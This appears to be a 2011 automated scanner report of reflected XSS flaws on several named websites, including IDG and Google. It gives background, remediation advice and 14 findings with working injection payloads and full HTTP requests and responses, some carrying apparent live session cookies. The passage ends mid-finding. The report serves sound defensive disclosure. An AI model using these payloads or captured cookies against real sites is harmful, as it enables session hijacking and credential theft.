XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, BHDB, 09202011-01

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:

Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).

In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

1.1. http://www.demo.com/a/i/wht-org-grd.png [REST URL parameter 3] next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.demo.com
Path:	/a/i/wht-org-grd.png

Issue detail

The value of REST URL parameter 3 is copied into an HTML comment. The payload 58fae--><img%20src%3da%20onerror%3dalert(1)>90ecb6ec8da was submitted in the REST URL parameter 3. This input was echoed as 58fae--><img src=a onerror=alert(1)>90ecb6ec8da in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /a/i/wht-org-grd.png58fae--><img%20src%3da%20onerror%3dalert(1)>90ecb6ec8da HTTP/1.1
Host: www.demo.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.demo.com/a/s/demohp_090611.css
Cookie: Apache=50.23.123.106.1316460611979487

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 19:32:03 GMT
Server: Apache/2.0.55 (Unix) DAV/2 mod_ssl/2.0.55 OpenSSL/0.9.8a PHP/4.4.4
Accept-Ranges: bytes
Content-Type: text/html
Cache-Control: private
Content-Length: 886


       <HTML>
       <HEAD>
       <TITLE>404 Error</TITLE>
       <META NAME="description" content="This is the code redirect page that needs to be more than 512 bytes for IE to notice it. So this description is in
...[SNIP]...
<img src=a onerror=alert(1)>90ecb6ec8da-->
...[SNIP]...

1.2. http://www.demo.com/a/i/wht-org-grd.png [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.demo.com
Path:	/a/i/wht-org-grd.png

Issue detail

The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload 63623--><img%20src%3da%20onerror%3dalert(1)>718e3e3167c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 63623--><img src=a onerror=alert(1)>718e3e3167c in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /a/i/wht-org-grd.png?63623--><img%20src%3da%20onerror%3dalert(1)>718e3e3167c=1 HTTP/1.1
Host: www.demo.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.demo.com/a/s/demohp_090611.css
Cookie: Apache=50.23.123.106.1316460611979487

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 19:31:59 GMT
Server: Apache/2.0.55 (Unix) DAV/2 mod_ssl/2.0.55 OpenSSL/0.9.8a PHP/4.4.4
Accept-Ranges: bytes
Content-Type: text/html
Cache-Control: private
Content-Length: 889


       <HTML>
       <HEAD>
       <TITLE>404 Error</TITLE>
       <META NAME="description" content="This is the code redirect page that needs to be more than 512 bytes for IE to notice it. So this description is in
...[SNIP]...
<img src=a onerror=alert(1)>718e3e3167c=1-->
...[SNIP]...

1.3. http://www.demo.com/a/l/ngconnect_108x54.gif [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.demo.com
Path:	/a/l/ngconnect_108x54.gif

Issue detail

The value of REST URL parameter 3 is copied into an HTML comment. The payload b68ab--><img%20src%3da%20onerror%3dalert(1)>e8f86aee36e was submitted in the REST URL parameter 3. This input was echoed as b68ab--><img src=a onerror=alert(1)>e8f86aee36e in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /a/l/ngconnect_108x54.gifb68ab--><img%20src%3da%20onerror%3dalert(1)>e8f86aee36e HTTP/1.1
Host: www.demo.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.demo.com/
Cookie: Apache=50.23.123.106.1316460611979487

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 19:31:32 GMT
Server: Apache/2.0.55 (Unix) DAV/2 mod_ssl/2.0.55 OpenSSL/0.9.8a PHP/4.4.4
Accept-Ranges: bytes
Content-Type: text/html
Cache-Control: private
Content-Length: 891


       <HTML>
       <HEAD>
       <TITLE>404 Error</TITLE>
       <META NAME="description" content="This is the code redirect page that needs to be more than 512 bytes for IE to notice it. So this description is in
...[SNIP]...
<img src=a onerror=alert(1)>e8f86aee36e-->
...[SNIP]...

1.4. http://www.demo.com/a/l/ngconnect_108x54.gif [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.demo.com
Path:	/a/l/ngconnect_108x54.gif

Issue detail

The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload 62993--><img%20src%3da%20onerror%3dalert(1)>3864daf17cb was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 62993--><img src=a onerror=alert(1)>3864daf17cb in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /a/l/ngconnect_108x54.gif?62993--><img%20src%3da%20onerror%3dalert(1)>3864daf17cb=1 HTTP/1.1
Host: www.demo.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.demo.com/
Cookie: Apache=50.23.123.106.1316460611979487

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 19:31:27 GMT
Server: Apache/2.0.55 (Unix) DAV/2 mod_ssl/2.0.55 OpenSSL/0.9.8a PHP/4.4.4
Accept-Ranges: bytes
Content-Type: text/html
Cache-Control: private
Content-Length: 894


       <HTML>
       <HEAD>
       <TITLE>404 Error</TITLE>
       <META NAME="description" content="This is the code redirect page that needs to be more than 512 bytes for IE to notice it. So this description is in
...[SNIP]...
<img src=a onerror=alert(1)>3864daf17cb=1-->
...[SNIP]...

1.5. http://www.demo.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.demo.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload 9ddc4--><img%20src%3da%20onerror%3dalert(1)>cf71f3ede8a was submitted in the REST URL parameter 1. This input was echoed as 9ddc4--><img src=a onerror=alert(1)>cf71f3ede8a in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /favicon.ico9ddc4--><img%20src%3da%20onerror%3dalert(1)>cf71f3ede8a HTTP/1.1
Host: www.demo.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Cookie: Apache=50.23.123.106.1316460611979487; __utma=9732650.323602606.1316478684.1316478684.1316478684.1; __utmb=9732650.1.10.1316478684; __utmc=9732650; __utmz=9732650.1316478684.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 19:34:25 GMT
Server: Apache/2.0.55 (Unix) DAV/2 mod_ssl/2.0.55 OpenSSL/0.9.8a PHP/4.4.4
Accept-Ranges: bytes
Content-Type: text/html
Cache-Control: private
Content-Length: 882


       <HTML>
       <HEAD>
       <TITLE>404 Error</TITLE>
       <META NAME="description" content="This is the code redirect page that needs to be more than 512 bytes for IE to notice it. So this description is in
...[SNIP]...
<img src=a onerror=alert(1)>cf71f3ede8a-->
...[SNIP]...

1.6. http://www.dinclinx.com/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.dinclinx.com
Path:	/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload 1730b<script>alert(1)</script>7d8f22d09d2 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /?s=581&e=0&t=687&f=javascript&1730b<script>alert(1)</script>7d8f22d09d2=1 HTTP/1.1
Host: www.dinclinx.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.computerworld.com/

Response

HTTP/1.1 200 OK
Connection: close
Date: Mon, 19 Sep 2011 19:30:08 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Cache-Control: no-cache, max-age=0, must-revalidate
Pragma: no-cache
Expires: Mon, 19 Sep 2011 19:30:08 GMT
Content-Type: application/x-javascript; charset=utf-8
Content-Length: 69

// Error: Unknown parameter 1730b<script>alert(1)</script>7d8f22d09d2

1.7. http://www.genuinewin7.com/purchase.aspx [WT.page_from parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.genuinewin7.com
Path:	/purchase.aspx

Issue detail

The value of the WT.page_from request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9409c"style%3d"x%3aexpr/**/ession(alert(1))"06a2a2565ec was submitted in the WT.page_from parameter. This input was echoed as 9409c"style="x:expr/**/ession(alert(1))"06a2a2565ec in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /purchase.aspx?WT.page_from=safety9409c"style%3d"x%3aexpr/**/ession(alert(1))"06a2a2565ec HTTP/1.1
Host: www.genuinewin7.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.genuinewin7.com/safety.aspx?WT.page_from=nav
Cookie: uid=56999891_1316636622599; ctpath=; referrer=http%3A%2F%2Fwww.fakereferrerdominator.com%2FreferrerPathName%3FRefParName%3DRefValue; campaignid=369; WT_FPC=id=27aab3ee2244904c44a1316683422666:lv=1316684122097:ss=1316683422666; WT_NVR=0=/

Response

HTTP/1.1 200 OK
Date: Wed, 21 Sep 2011 15:36:07 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 1.1.4322
P3P: CP=CAO PSA OUR
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 23580

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Cont
...[SNIP]...
<a href="dell.aspx?WT.page_from=purchase&WT.page_from_pre=safety9409c"style="x:expr/**/ession(alert(1))"06a2a2565ec" onclick="var i=new Image(1,1);i.src='http://e.miaozhen.com/r.gif?'+Math.random()+'^k=2039^p=DNR0'; ii=new Image(1,1);ii.src='http://e.miaozhen.com/e.gif?'+Math.random()+'^n=3961^ae=1142';ClickEvent('
...[SNIP]...

1.8. http://www.google.com/search [tch parameter] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.google.com
Path:	/search

Issue detail

The value of the tch request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 226a4(a)7aefa97b5eb was submitted in the tch parameter. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject JavaScript commands into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /search?sclient=psy-ab&hl=en&source=hp&q=coastal+dentalcare&pbx=1&oq=coastal+dentalcare&aq=f&aqi=&aql=&gs_sm=e&gs_upl=10136l10136l0l10780l1l1l0l0l0l0l0l0ll0l0&bav=on.2,or.r_gc.r_pw.&fp=1aed890c2a32d146&biw=1097&bih=869&tch=1226a4(a)7aefa97b5eb&ech=1&psi=i314TveFCYOosALp7fyvDQ.1316537398329.3 HTTP/1.1
Host: www.google.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: */*
Referer: http://www.google.com/search?gcx=w&sourceid=chrome&ie=UTF-8&q=coastal+dental+care
Accept-Encoding: gzip,deflate,sdch
Avail-Dictionary: sXoKgwNA
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PREF=ID=26ea7fef0a6cf43b:U=f5d01e2b2ce2e5f3:TM=1314742576:LM=1314798155:S=dIZk57crg6QHX-5i; HSID=AbppJa1_E7iMausjK; APISID=qfB18aLM4wkSRyYX/Aqw8quAKRHd7UuSmT; NID=51=mIeAi_BJiW80o5-UkWcKjFthqIayl4ofwCkkr5tCLyeEVJT5ggTfhss2g11zdOuIt-Hv9il_Hia-F6KLtiAoqwnGANxD2SU6BtvNGiXQ0002QmWyW7uUzO1rQ_23mKUx; SID=DQAAAO8AAAD7Xl0oDS_3Xy0JKwYeKgRjPyFqRf-B0ODOWTiDE99xOOc8RvdQGibPMhmcP610qN-DHB8k6z8ZKlplWLUKEP3dWEI72OUKY84U0zjZ2dOwJHOZWczA6xdlkRwrrTGTkQ6ClNLTQ4ONOC9gLOWYQ5zR2CljOq1RO-s4LLdPs6xoVlnnO6qY1kM7iyGUBole70mO999gxJRMDD84aZSLhlXLa_TFwj4UOugh1muMR40AyHJcRNGXDTOXCL27QwmaPSWsRZbzw7pybi4zMXxNEJkaJnnPm7S6PNHhmHFQ58RIqky0TX53BbS_4Obo4j-cWcY

Response

HTTP/1.1 200 OK
Date: Tue, 20 Sep 2011 11:49:13 GMT
Expires: -1
Cache-Control: private, max-age=0
Content-Type: text/html; charset=UTF-8
Server: gws
X-XSS-Protection: 1; mode=block
Content-Length: 65929

NKGaDyNz....S....%..h.p...\.....D..I<!doctype html><title>coastal dentalcare - Google Search</title><script>(function(){var jesr_base_page_version=21;var jesr_user_state='9b3eddd0';var jesr_signal_bas
...[SNIP]...
amp;gs_sm\\x3de\\x26amp;gs_upl\\x3d10136l10136l0l10780l1l1l0l0l0l0l0l0ll0l0\\x26amp;bav\\x3don.2,or.r_gc.r_pw.\\x26amp;fp\\x3d1aed890c2a32d146\\x26amp;biw\\x3d1097\\x26amp;bih\\x3d869\\x26amp;tch\\x3d1226a4(a)7aefa97b5eb\\x26amp;ech\\x3d1\\x26amp;psi\\x3di314TveFCYOosALp7fyvDQ.1316537398329.3\x27)});});r();var l\x3d3N...Q\x27#\x27)):\x27#\x27;if(l\x3d\x3d\x27#\x27\x26\x26google.defre){google.defre\x3dC,~.*\x26\x26goog
...[SNIP]...

1.9. http://www.idg.com/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.idg.com
Path:	/

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 8da24"-alert(1)-"16f94643278 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /?8da24"-alert(1)-"16f94643278=1 HTTP/1.1
Host: www.idg.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run

Response

HTTP/1.1 400 Bad Request
Server: Lotus-Domino
Date: Mon, 19 Sep 2011 19:31:31 GMT
Connection: close
Expires: Tue, 01 Jan 1980 06:00:00 GMT
Content-Type: text/html; charset=US-ASCII
Content-Length: 5095
Cache-control: no-cache

<link rel="stylesheet" type="text/css" href="/www/homenew.nsf/screen2.css" media="all" />
<link rel="stylesheet" type="text/css" href="/www/homenew.nsf/style.css" />
<!-- Section for ordinary idg.co
...[SNIP]...
<script type="text/javascript">
try {
var pageTracker = _gat._getTracker("UA-79134-4");
pageTracker._trackPageview("IDG.com - Page not found - /www/homenew.nsf?8da24"-alert(1)-"16f94643278=1");
} catch(err) {}</script>
...[SNIP]...

1.10. http://www.idg.com/idgnetrssfeeds.nsf/html [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.idg.com
Path:	/idgnetrssfeeds.nsf/html

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5c3e9"%3bc2cb7ec035e was submitted in the REST URL parameter 2. This input was echoed as 5c3e9";c2cb7ec035e in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Request

GET /idgnetrssfeeds.nsf/html5c3e9"%3bc2cb7ec035e?openpage HTTP/1.1
Host: www.idg.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.idg.com/www/homenew.nsf/home?readform

Response

HTTP/1.1 404 Not Found
Server: Lotus-Domino
Date: Mon, 19 Sep 2011 19:31:36 GMT
Connection: close
Expires: Tue, 01 Jan 1980 06:00:00 GMT
Content-Type: text/html; charset=US-ASCII
Content-Length: 5099
Cache-control: no-cache

<link rel="stylesheet" type="text/css" href="/www/homenew.nsf/screen2.css" media="all" />
<link rel="stylesheet" type="text/css" href="/www/homenew.nsf/style.css" />
<!-- Section for ordinary idg.co
...[SNIP]...
<script type="text/javascript">
try {
var pageTracker = _gat._getTracker("UA-79134-4");
pageTracker._trackPageview("IDG.com - Page not found - /idgnetrssfeeds.nsf/html5c3e9";c2cb7ec035e?openpage");
} catch(err) {}</script>
...[SNIP]...

1.11. http://www.idg.com/idgnetrssfeeds.nsf/html [openpage parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.idg.com
Path:	/idgnetrssfeeds.nsf/html

Issue detail

The value of the openpage request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 9dcf8"-alert(1)-"feb0e19bfc5 was submitted in the openpage parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /idgnetrssfeeds.nsf/html?openpage9dcf8"-alert(1)-"feb0e19bfc5 HTTP/1.1
Host: www.idg.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.idg.com/www/homenew.nsf/home?readform

Response

HTTP/1.1 500 Internal Server Error
Server: Lotus-Domino
Date: Mon, 19 Sep 2011 19:31:36 GMT
Connection: close
Expires: Tue, 01 Jan 1980 06:00:00 GMT
Content-Type: text/html; charset=US-ASCII
Content-Length: 5109
Cache-control: no-cache

<link rel="stylesheet" type="text/css" href="/www/homenew.nsf/screen2.css" media="all" />
<link rel="stylesheet" type="text/css" href="/www/homenew.nsf/style.css" />
<!-- Section for ordinary idg.co
...[SNIP]...
<script type="text/javascript">
try {
var pageTracker = _gat._getTracker("UA-79134-4");
pageTracker._trackPageview("IDG.com - Page not found - /idgnetrssfeeds.nsf/html?openpage9dcf8"-alert(1)-"feb0e19bfc5");
} catch(err) {}</script>
...[SNIP]...

1.12. http://www.idg.com/www/homenew.nsf/DataRequestor.js [OpenJavascriptLibrary parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.idg.com
Path:	/www/homenew.nsf/DataRequestor.js

Issue detail

The value of the OpenJavascriptLibrary request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e7b16"-alert(1)-"cbfee4bef4a was submitted in the OpenJavascriptLibrary parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /www/homenew.nsf/DataRequestor.js?OpenJavascriptLibrarye7b16"-alert(1)-"cbfee4bef4a HTTP/1.1
Host: www.idg.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.idg.com/www/homenew.nsf/home?readform

Response

HTTP/1.1 500 Internal Server Error
Server: Lotus-Domino
Date: Mon, 19 Sep 2011 19:31:34 GMT
Connection: close
Expires: Tue, 01 Jan 1980 06:00:00 GMT
Content-Type: text/html; charset=US-ASCII
Content-Length: 5131
Cache-control: no-cache

<link rel="stylesheet" type="text/css" href="/www/homenew.nsf/screen2.css" media="all" />
<link rel="stylesheet" type="text/css" href="/www/homenew.nsf/style.css" />
<!-- Section for ordinary idg.co
...[SNIP]...
<script type="text/javascript">
try {
var pageTracker = _gat._getTracker("UA-79134-4");
pageTracker._trackPageview("IDG.com - Page not found - /www/homenew.nsf/DataRequestor.js?OpenJavascriptLibrarye7b16"-alert(1)-"cbfee4bef4a");
} catch(err) {}</script>
...[SNIP]...

1.13. http://www.idg.com/www/homenew.nsf/DataRequestor.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.idg.com
Path:	/www/homenew.nsf/DataRequestor.js

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 7c8b1"%3bece23bae5f2 was submitted in the REST URL parameter 1. This input was echoed as 7c8b1";ece23bae5f2 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Request

GET /www7c8b1"%3bece23bae5f2/homenew.nsf/DataRequestor.js?OpenJavascriptLibrary HTTP/1.1
Host: www.idg.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.idg.com/www/homenew.nsf/home?readform

Response

HTTP/1.1 404 Not Found
Server: Lotus-Domino
Date: Mon, 19 Sep 2011 19:31:34 GMT
Connection: close
Expires: Tue, 01 Jan 1980 06:00:00 GMT
Content-Type: text/html; charset=US-ASCII
Content-Length: 5121
Cache-control: no-cache

<link rel="stylesheet" type="text/css" href="/www/homenew.nsf/screen2.css" media="all" />
<link rel="stylesheet" type="text/css" href="/www/homenew.nsf/style.css" />
<!-- Section for ordinary idg.co
...[SNIP]...
<script type="text/javascript">
try {
var pageTracker = _gat._getTracker("UA-79134-4");
pageTracker._trackPageview("IDG.com - Page not found - /www7c8b1";ece23bae5f2/homenew.nsf/DataRequestor.js?OpenJavascriptLibrary");
} catch(err) {}</script>
...[SNIP]...

1.14. http://www.idg.com/www/homenew.nsf/DataRequestor.js [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.idg.com
Path:	/www/homenew.nsf/DataRequestor.js

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 2e6fc"%3b52ee92d580b was submitted in the REST URL parameter 3. This input was echoed as 2e6fc";52ee92d580b in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Request

GET /www/homenew.nsf/DataRequestor.js2e6fc"%3b52ee92d580b?OpenJavascriptLibrary HTTP/1.1
Host: www.idg.com
